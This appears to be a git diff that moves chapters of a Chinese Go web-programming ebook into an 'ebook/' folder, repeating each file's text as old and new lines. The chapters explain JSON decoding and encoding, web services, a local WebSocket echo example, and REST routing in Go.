聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写)。同时JSON解析的时候只会解析能找得到的字段,如果找不到的字段会被忽略,这样的一个好处是:当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候,你只需将你想要的数据对应的字段名大写,即可轻松解决这个问题。
|
||||
|
||||
### 解析到interface
|
||||
上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案,如果我们不知道被解析的数据的格式,又应该如何来解析呢?
|
||||
|
||||
我们知道interface{}可以用来存储任意数据类型的对象,这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下:
|
||||
|
||||
- bool 代表 JSON booleans,
|
||||
- float64 代表 JSON numbers,
|
||||
- string 代表 JSON strings,
|
||||
- nil 代表 JSON null.
|
||||
|
||||
现在我们假设有如下的JSON数据
|
||||
|
||||
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
|
||||
|
||||
如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面
|
||||
|
||||
var f interface{}
|
||||
err := json.Unmarshal(b, &f)
|
||||
|
||||
这个时候f里面存储了一个map类似,他们的key是string,值存储在空的interface{}里
|
||||
|
||||
f = map[string]interface{}{
|
||||
"Name": "Wednesday",
|
||||
"Age": 6,
|
||||
"Parents": []interface{}{
|
||||
"Gomez",
|
||||
"Morticia",
|
||||
},
|
||||
}
|
||||
|
||||
那么如何来访问这些数据呢?通过断言的方式:
|
||||
|
||||
m := f.(map[string]interface{})
|
||||
|
||||
通过断言之后,你就可以通过如下方式来访问里面的数据了
|
||||
|
||||
for k, v := range m {
|
||||
switch vv := v.(type) {
|
||||
case string:
|
||||
fmt.Println(k, "is string", vv)
|
||||
case int:
|
||||
fmt.Println(k, "is int", vv)
|
||||
case []interface{}:
|
||||
fmt.Println(k, "is an array:")
|
||||
for i, u := range vv {
|
||||
fmt.Println(i, u)
|
||||
}
|
||||
default:
|
||||
fmt.Println(k, "is of a type I don't know how to handle")
|
||||
}
|
||||
}
|
||||
通过上面的示例可以看到,通过interface{}与type assert的配合,我们就可以解析未知结构的JSON数了。
|
||||
|
||||
上面这个是官方提供的解决方案,其实很多时候我们通过类型断言,操作起来不是很方便,目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便,详细例子如下所示:
|
||||
|
||||
js, err := NewJson([]byte(`{
|
||||
"test": {
|
||||
"array": [1, "2", 3],
|
||||
"int": 10,
|
||||
"float": 5.150,
|
||||
"bignum": 9223372036854775807,
|
||||
"string": "simplejson",
|
||||
"bool": true
|
||||
}
|
||||
}`))
|
||||
|
||||
arr, _ := js.Get("test").Get("array").Array()
|
||||
i, _ := js.Get("test").Get("int").Int()
|
||||
ms := js.Get("test").Get("string").MustString()
|
||||
|
||||
可以看到,使用这个库操作JSON比起官方包来说,简单的多,详细的请参考如下地址:https://github.com/bitly/go-simplejson
|
||||
|
||||
## 生成JSON
|
||||
我们开发很多应用的时候,最后都是要输出JSON数据串,那么如何来处理呢?JSON包里面通过`Marshal`函数来处理,函数定义如下:
|
||||
|
||||
func Marshal(v interface{}) ([]byte, error)
|
||||
|
||||
假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
ServerName string
|
||||
ServerIP string
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server
|
||||
}
|
||||
|
||||
func main() {
|
||||
var s Serverslice
|
||||
s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
|
||||
s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
|
||||
b, err := json.Marshal(s)
|
||||
if err != nil {
|
||||
fmt.Println("json err:", err)
|
||||
}
|
||||
fmt.Println(string(b))
|
||||
}
|
||||
|
||||
输出如下内容:
|
||||
|
||||
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
|
||||
|
||||
我们看到上面的输出字段名都是大写的,如果你想用小写的怎么办呢?把结构体的字段名改成小写的?JSON输出的时候必须注意,只有导出的字段才会被输出,如果修改字段名,那么就会发现什么都不会输出,所以必须通过struct tag定义来实现:
|
||||
|
||||
type Server struct {
|
||||
ServerName string `json:"serverName"`
|
||||
ServerIP string `json:"serverIP"`
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server `json:"servers"`
|
||||
}
|
||||
|
||||
通过修改上面的结构体定义,输出的JSON串就和我们最开始定义的JSON串保持一致了。
|
||||
|
||||
针对JSON的输出,我们在定义struct tag的时候需要注意的几点是:
|
||||
|
||||
- 字段的tag是`"-"`,那么这个字段不会输出到JSON
|
||||
- tag中带有自定义名称,那么这个自定义名称会出现在JSON的字段名中,例如上面例子中serverName
|
||||
- tag中如果带有`"omitempty"`选项,那么如果该字段值为空,就不会输出到JSON串中
|
||||
- 如果字段类型是bool, string, int, int64等,而tag中带有`",string"`选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
|
||||
|
||||
|
||||
举例来说:
|
||||
|
||||
type Server struct {
|
||||
// ID 不会导出到JSON中
|
||||
ID int `json:"-"`
|
||||
|
||||
// ServerName 的值会进行二次JSON编码
|
||||
ServerName string `json:"serverName"`
|
||||
ServerName2 string `json:"serverName2,string"`
|
||||
|
||||
// 如果 ServerIP 为空,则不输出到JSON串中
|
||||
ServerIP string `json:"serverIP,omitempty"`
|
||||
}
|
||||
|
||||
s := Server {
|
||||
ID: 3,
|
||||
ServerName: `Go "1.0" `,
|
||||
ServerName2: `Go "1.0" `,
|
||||
ServerIP: ``,
|
||||
}
|
||||
b, _ := json.Marshal(s)
|
||||
os.Stdout.Write(b)
|
||||
|
||||
会输出以下内容:
|
||||
|
||||
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
|
||||
|
||||
|
||||
Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点:
|
||||
|
||||
|
||||
- JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型)
|
||||
- Channel, complex和function是不能被编码成JSON的
|
||||
- 嵌套的数据是不能编码的,不然会让JSON编码进入死循环
|
||||
- 指针在编码的时候会输出指针指向的内容,而空指针会输出null
|
||||
|
||||
|
||||
本小节,我们介绍了如何使用Go语言的json标准包来编解码JSON数据,同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作,学会并熟练运用它们将对我们接下来的Web开发相当重要。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [XML处理](<07.1.md>)
|
||||
* 下一节: [正则处理](<07.3.md>)
|
||||
0
07.3.md → ebook/07.3.md
Executable file → Normal file
0
07.3.md → ebook/07.3.md
Executable file → Normal file
0
07.4.md → ebook/07.4.md
Executable file → Normal file
0
07.4.md → ebook/07.4.md
Executable file → Normal file
0
07.5.md → ebook/07.5.md
Executable file → Normal file
0
07.5.md → ebook/07.5.md
Executable file → Normal file
0
07.6.md → ebook/07.6.md
Executable file → Normal file
0
07.6.md → ebook/07.6.md
Executable file → Normal file
0
07.7.md → ebook/07.7.md
Executable file → Normal file
0
07.7.md → ebook/07.7.md
Executable file → Normal file
40
08.0.md → ebook/08.0.md
Executable file → Normal file
40
08.0.md → ebook/08.0.md
Executable file → Normal file
@@ -1,20 +1,20 @@
|
||||
# 8 Web服务
|
||||
Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息,你可以编写一段简短的代码,通过抓取这些信息然后通过标准的接口开放出来,就如同你调用一个本地函数并返回一个值。
|
||||
|
||||
Web服务背后的关键在于平台的无关性,你可以运行你的服务在Linux系统,可以与其他Window的asp.net程序交互,同样的,也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。
|
||||
|
||||
目前主流的有如下几种Web服务:REST、SOAP。
|
||||
|
||||
REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。
|
||||
|
||||
SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。Go语言是以简单著称,所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错,开发起来很方便的RPC机制,我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。
|
||||
|
||||
Go语言是21世纪的C语言,我们追求的是性能、简单,所以我们在8.1小节里面介绍如何使用Socket编程,很多游戏服务都是采用Socket来编写服务段,因为HTTP协议相对而言比较耗费性能,让我们看看Go语言如何来Socket编程。目前随着HTML5的发展,webSockets也逐渐的成为很多页游公司接下来开发的一些手段,我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第七章总结](<07.5.md>)
|
||||
* 下一节: [Socket编程](<08.1.md>)
|
||||
# 8 Web服务
|
||||
Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息,你可以编写一段简短的代码,通过抓取这些信息然后通过标准的接口开放出来,就如同你调用一个本地函数并返回一个值。
|
||||
|
||||
Web服务背后的关键在于平台的无关性,你可以运行你的服务在Linux系统,可以与其他Window的asp.net程序交互,同样的,也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。
|
||||
|
||||
目前主流的有如下几种Web服务:REST、SOAP。
|
||||
|
||||
REST请求是很直观的,因为REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑,很多Web开发者都熟悉HTTP协议,所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。
|
||||
|
||||
SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂,其完整的规范篇幅很长,而且内容仍然在增加。Go语言是以简单著称,所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错,开发起来很方便的RPC机制,我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。
|
||||
|
||||
Go语言是21世纪的C语言,我们追求的是性能、简单,所以我们在8.1小节里面介绍如何使用Socket编程,很多游戏服务都是采用Socket来编写服务段,因为HTTP协议相对而言比较耗费性能,让我们看看Go语言如何来Socket编程。目前随着HTML5的发展,webSockets也逐渐的成为很多页游公司接下来开发的一些手段,我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第七章总结](<07.5.md>)
|
||||
* 下一节: [Socket编程](<08.1.md>)
|
||||
0
08.1.md → ebook/08.1.md
Executable file → Normal file
0
08.1.md → ebook/08.1.md
Executable file → Normal file
302
08.2.md → ebook/08.2.md
Executable file → Normal file
302
08.2.md → ebook/08.2.md
Executable file → Normal file
@@ -1,151 +1,151 @@
|
||||
# 8.2 WebSocket
|
||||
WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket,它使浏览器和服务器可以进行全双工通信,许多浏览器(Firefox、Google Chrome和Safari)都已对此做了支持。
|
||||
|
||||
在WebSocket出现之前,为了实现即时通信,采用的技术都是“轮询”,即在特定的时间间隔内,由浏览器对服务器发出HTTP Request,服务器在收到请求后,返回最新的数据给浏览器刷新,“轮询”使得浏览器需要对服务器不断发出请求,这样会占用大量带宽。
|
||||
|
||||
WebSocket采用了一些特殊的报头,使得浏览器和服务器只需要做一个握手的动作,就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态,你可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题,相比传统HTTP有如下好处:
|
||||
|
||||
- 一个Web客户端只建立一个TCP连接
|
||||
- Websocket服务端可以推送(push)数据到web客户端.
|
||||
- 有更加轻量级的头,减少数据传送量
|
||||
|
||||
WebSocket URL的起始输入是ws://或是wss://(在SSL上)。下图展示了WebSocket的通信过程,一个带有特定报头的HTTP握手被发送到了服务器端,接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口(socket),这一套接口可被用来通过事件句柄异步地接收数据。
|
||||
|
||||

|
||||
|
||||
图8.2 WebSocket原理图
|
||||
|
||||
## WebSocket原理
|
||||
WebSocket的协议颇为简单,在第一次handshake通过以后,连接便建立成功,其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端,这个是透明的,WebSocket组件会自动将原始数据“掐头去尾”。
|
||||
|
||||
浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息:
|
||||
|
||||

|
||||
|
||||
图8.3 WebSocket的request和response信息
|
||||
|
||||
在请求中的"Sec-WebSocket-Key"是随机的,对于整天跟编码打交到的程序员,一眼就可以看出来:这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串:
|
||||
|
||||
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串:
|
||||
|
||||
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
对该字符串先用 sha1安全散列算法计算出二进制的值,然后用base64对其进行编码,即可以得到握手后的字符串:
|
||||
|
||||
rE91AJhfC+6JdVcVXOGJEADEJdQ=
|
||||
|
||||
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。
|
||||
|
||||
## Go实现WebSocket
|
||||
Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持,你可以通过如下的命令获取该包:
|
||||
|
||||
go get code.google.com/p/go.net/websocket
|
||||
|
||||
WebSocket分为客户端和服务端,接下来我们将实现一个简单的例子:用户输入信息,客户端通过WebSocket将信息发送给服务器端,服务器端收到信息之后主动Push信息到客户端,然后客户端将输出其收到的信息,客户端的代码如下:
|
||||
|
||||
<html>
|
||||
<head></head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
var sock = null;
|
||||
var wsuri = "ws://127.0.0.1:1234";
|
||||
|
||||
window.onload = function() {
|
||||
|
||||
console.log("onload");
|
||||
|
||||
sock = new WebSocket(wsuri);
|
||||
|
||||
sock.onopen = function() {
|
||||
console.log("connected to " + wsuri);
|
||||
}
|
||||
|
||||
sock.onclose = function(e) {
|
||||
console.log("connection closed (" + e.code + ")");
|
||||
}
|
||||
|
||||
sock.onmessage = function(e) {
|
||||
console.log("message received: " + e.data);
|
||||
}
|
||||
};
|
||||
|
||||
function send() {
|
||||
var msg = document.getElementById('message').value;
|
||||
sock.send(msg);
|
||||
};
|
||||
</script>
|
||||
<h1>WebSocket Echo Test</h1>
|
||||
<form>
|
||||
<p>
|
||||
Message: <input id="message" type="text" value="Hello, world!">
|
||||
</p>
|
||||
</form>
|
||||
<button onclick="send();">Send Message</button>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。
|
||||
|
||||
- 1)onopen 建立连接后触发
|
||||
- 2)onmessage 收到消息后触发
|
||||
- 3)onerror 发生错误时触发
|
||||
- 4)onclose 关闭连接时触发
|
||||
|
||||
我们服务器端的实现如下:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"code.google.com/p/go.net/websocket"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func Echo(ws *websocket.Conn) {
|
||||
var err error
|
||||
|
||||
for {
|
||||
var reply string
|
||||
|
||||
if err = websocket.Message.Receive(ws, &reply); err != nil {
|
||||
fmt.Println("Can't receive")
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Println("Received back from client: " + reply)
|
||||
|
||||
msg := "Received: " + reply
|
||||
fmt.Println("Sending to client: " + msg)
|
||||
|
||||
if err = websocket.Message.Send(ws, msg); err != nil {
|
||||
fmt.Println("Can't send")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.Handle("/", websocket.Handler(Echo))
|
||||
|
||||
if err := http.ListenAndServe(":1234", nil); err != nil {
|
||||
log.Fatal("ListenAndServe:", err)
|
||||
}
|
||||
}
|
||||
|
||||
当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。
|
||||
|
||||

|
||||
|
||||
图8.4 WebSocket服务器端接收到的信息
|
||||
|
||||
通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便,Go的源码net分支中已经实现了这个的协议,我们可以直接拿来用,目前随着HTML5的发展,我想未来WebSocket会是Web开发的一个重点,我们需要储备这方面的知识。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Socket编程](<08.1.md>)
|
||||
* 下一节: [REST](<08.3.md>)
|
||||
# 8.2 WebSocket
|
||||
WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket,它使浏览器和服务器可以进行全双工通信,许多浏览器(Firefox、Google Chrome和Safari)都已对此做了支持。
|
||||
|
||||
在WebSocket出现之前,为了实现即时通信,采用的技术都是“轮询”,即在特定的时间间隔内,由浏览器对服务器发出HTTP Request,服务器在收到请求后,返回最新的数据给浏览器刷新,“轮询”使得浏览器需要对服务器不断发出请求,这样会占用大量带宽。
|
||||
|
||||
WebSocket采用了一些特殊的报头,使得浏览器和服务器只需要做一个握手的动作,就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态,你可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题,相比传统HTTP有如下好处:
|
||||
|
||||
- 一个Web客户端只建立一个TCP连接
|
||||
- Websocket服务端可以推送(push)数据到web客户端.
|
||||
- 有更加轻量级的头,减少数据传送量
|
||||
|
||||
WebSocket URL的起始输入是ws://或是wss://(在SSL上)。下图展示了WebSocket的通信过程,一个带有特定报头的HTTP握手被发送到了服务器端,接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口(socket),这一套接口可被用来通过事件句柄异步地接收数据。
|
||||
|
||||

|
||||
|
||||
图8.2 WebSocket原理图
|
||||
|
||||
## WebSocket原理
|
||||
WebSocket的协议颇为简单,在第一次handshake通过以后,连接便建立成功,其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端,这个是透明的,WebSocket组件会自动将原始数据“掐头去尾”。
|
||||
|
||||
浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息:
|
||||
|
||||

|
||||
|
||||
图8.3 WebSocket的request和response信息
|
||||
|
||||
在请求中的"Sec-WebSocket-Key"是随机的,对于整天跟编码打交到的程序员,一眼就可以看出来:这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串:
|
||||
|
||||
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串:
|
||||
|
||||
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
|
||||
|
||||
对该字符串先用 sha1安全散列算法计算出二进制的值,然后用base64对其进行编码,即可以得到握手后的字符串:
|
||||
|
||||
rE91AJhfC+6JdVcVXOGJEADEJdQ=
|
||||
|
||||
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。
|
||||
|
||||
## Go实现WebSocket
|
||||
Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持,你可以通过如下的命令获取该包:
|
||||
|
||||
go get code.google.com/p/go.net/websocket
|
||||
|
||||
WebSocket分为客户端和服务端,接下来我们将实现一个简单的例子:用户输入信息,客户端通过WebSocket将信息发送给服务器端,服务器端收到信息之后主动Push信息到客户端,然后客户端将输出其收到的信息,客户端的代码如下:
|
||||
|
||||
<html>
|
||||
<head></head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
var sock = null;
|
||||
var wsuri = "ws://127.0.0.1:1234";
|
||||
|
||||
window.onload = function() {
|
||||
|
||||
console.log("onload");
|
||||
|
||||
sock = new WebSocket(wsuri);
|
||||
|
||||
sock.onopen = function() {
|
||||
console.log("connected to " + wsuri);
|
||||
}
|
||||
|
||||
sock.onclose = function(e) {
|
||||
console.log("connection closed (" + e.code + ")");
|
||||
}
|
||||
|
||||
sock.onmessage = function(e) {
|
||||
console.log("message received: " + e.data);
|
||||
}
|
||||
};
|
||||
|
||||
function send() {
|
||||
var msg = document.getElementById('message').value;
|
||||
sock.send(msg);
|
||||
};
|
||||
</script>
|
||||
<h1>WebSocket Echo Test</h1>
|
||||
<form>
|
||||
<p>
|
||||
Message: <input id="message" type="text" value="Hello, world!">
|
||||
</p>
|
||||
</form>
|
||||
<button onclick="send();">Send Message</button>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。
|
||||
|
||||
- 1)onopen 建立连接后触发
|
||||
- 2)onmessage 收到消息后触发
|
||||
- 3)onerror 发生错误时触发
|
||||
- 4)onclose 关闭连接时触发
|
||||
|
||||
我们服务器端的实现如下:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"code.google.com/p/go.net/websocket"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func Echo(ws *websocket.Conn) {
|
||||
var err error
|
||||
|
||||
for {
|
||||
var reply string
|
||||
|
||||
if err = websocket.Message.Receive(ws, &reply); err != nil {
|
||||
fmt.Println("Can't receive")
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Println("Received back from client: " + reply)
|
||||
|
||||
msg := "Received: " + reply
|
||||
fmt.Println("Sending to client: " + msg)
|
||||
|
||||
if err = websocket.Message.Send(ws, msg); err != nil {
|
||||
fmt.Println("Can't send")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.Handle("/", websocket.Handler(Echo))
|
||||
|
||||
if err := http.ListenAndServe(":1234", nil); err != nil {
|
||||
log.Fatal("ListenAndServe:", err)
|
||||
}
|
||||
}
|
||||
|
||||
当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。
|
||||
|
||||

|
||||
|
||||
图8.4 WebSocket服务器端接收到的信息
|
||||
|
||||
通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便,Go的源码net分支中已经实现了这个的协议,我们可以直接拿来用,目前随着HTML5的发展,我想未来WebSocket会是Web开发的一个重点,我们需要储备这方面的知识。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Socket编程](<08.1.md>)
|
||||
* 下一节: [REST](<08.3.md>)
|
||||
230
08.3.md → ebook/08.3.md
Executable file → Normal file
230
08.3.md → ebook/08.3.md
Executable file → Normal file
@@ -1,115 +1,115 @@
|
||||
# 8.3 REST
|
||||
RESTful,是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便,所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构?以及在Go里面如何来实现它。
|
||||
## 什么是REST
|
||||
REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding(他是HTTP规范的主要编写者之一)的博士论文中,它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。
|
||||
|
||||
要理解什么是REST,我们需要理解下面几个概念:
|
||||
|
||||
- 资源(Resources)
|
||||
REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。
|
||||
|
||||
那么什么是资源呢?就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位,也就是一个URI表示一个资源。
|
||||
|
||||
- 表现层(Representation)
|
||||
|
||||
资源是做一个具体的实体信息,他可以有多种的展现方式。而把实体展现出来就是表现层,例如一个txt文本信息,他可以输出成html、json、xml等格式,一个图片他可以jpg、png等方式展现,这个就是表现层的意思。
|
||||
|
||||
URI确定一个资源,但是如何确定它的具体表现形式呢?应该在HTTP请求的头信息中用Accept和Content-Type字段指定,这两个字段才是对"表现层"的描述。
|
||||
|
||||
- 状态转化(State Transfer)
|
||||
|
||||
访问一个网站,就代表了客户端和服务器的一个互动过程。在这个过程中,肯定涉及到数据和状态的变化。而HTTP协议是无状态的,那么这些状态肯定保存在服务器端,所以如果客户端想要通知服务器端改变数据和状态的变化,肯定要通过某种方式来通知它。
|
||||
|
||||
客户端能通知服务器端的手段,只能是HTTP协议。具体来说,就是HTTP协议里面,四个表示操作方式的动词:GET、POST、PUT、DELETE。它们分别对应四种基本操作:GET用来获取资源,POST用来新建资源(也可以用于更新资源),PUT用来更新资源,DELETE用来删除资源。
|
||||
|
||||
综合上面的解释,我们总结一下什么是RESTful架构:
|
||||
|
||||
- (1)每一个URI代表一种资源;
|
||||
- (2)客户端和服务器之间,传递这种资源的某种表现层;
|
||||
- (3)客户端通过四个HTTP动词,对服务器端资源进行操作,实现"表现层状态转化"。
|
||||
|
||||
|
||||
Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。
|
||||
|
||||
另一个重要的REST原则是系统分层,这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层,可以限制整个系统的复杂性,从而促进了底层的独立性。
|
||||
|
||||
下图即是REST的架构图:
|
||||
|
||||

|
||||
|
||||
图8.5 REST架构图
|
||||
|
||||
当REST架构的约束条件作为一个整体应用时,将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构,改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现,而且对于使用REST开发的应用程序更加容易扩展。
|
||||
|
||||
下图展示了REST的扩展性:
|
||||
|
||||

|
||||
|
||||
图8.6 REST的扩展性
|
||||
|
||||
## RESTful的实现
|
||||
Go没有为REST提供直接支持,但是因为RESTful是基于HTTP协议实现的,所以我们可以利用`net/http`包来自己实现,当然需要针对REST做一些改造,REST是根据不同的method来处理相应的资源,目前已经存在的很多自称是REST的应用,其实并没有真正的实现REST,我暂且把这些应用根据实现的method分成几个级别,请看下图:
|
||||
|
||||

|
||||
|
||||
图8.7 REST的level分级
|
||||
|
||||
上图展示了我们目前实现REST的三个level,我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式,因为有些时候完全按照RESTful的方式未必是可行的,RESTful服务充分利用每一个HTTP方法,包括`DELETE`和`PUT`。可有时,HTTP客户端只能发出`GET`和`POST`请求:
|
||||
|
||||
- HTML标准只能通过链接和表单支持`GET`和`POST`。在没有Ajax支持的网页浏览器中不能发出`PUT`或`DELETE`命令
|
||||
|
||||
- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。
|
||||
|
||||
我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT`、`DELETE`等方式,但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RSETful来实现是很容易的,我们通过下面的例子来说明如何实现RESTful的应用设计。
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/drone/routes"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func getuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are get user %s", uid)
|
||||
}
|
||||
|
||||
func modifyuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are modify user %s", uid)
|
||||
}
|
||||
|
||||
func deleteuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are delete user %s", uid)
|
||||
}
|
||||
|
||||
func adduser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprint(w, "you are add user %s", uid)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mux := routes.New()
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
mux.Del("/user/:uid", deleteuser)
|
||||
mux.Put("/user/", adduser)
|
||||
http.Handle("/", mux)
|
||||
http.ListenAndServe(":8088", nil)
|
||||
}
|
||||
|
||||
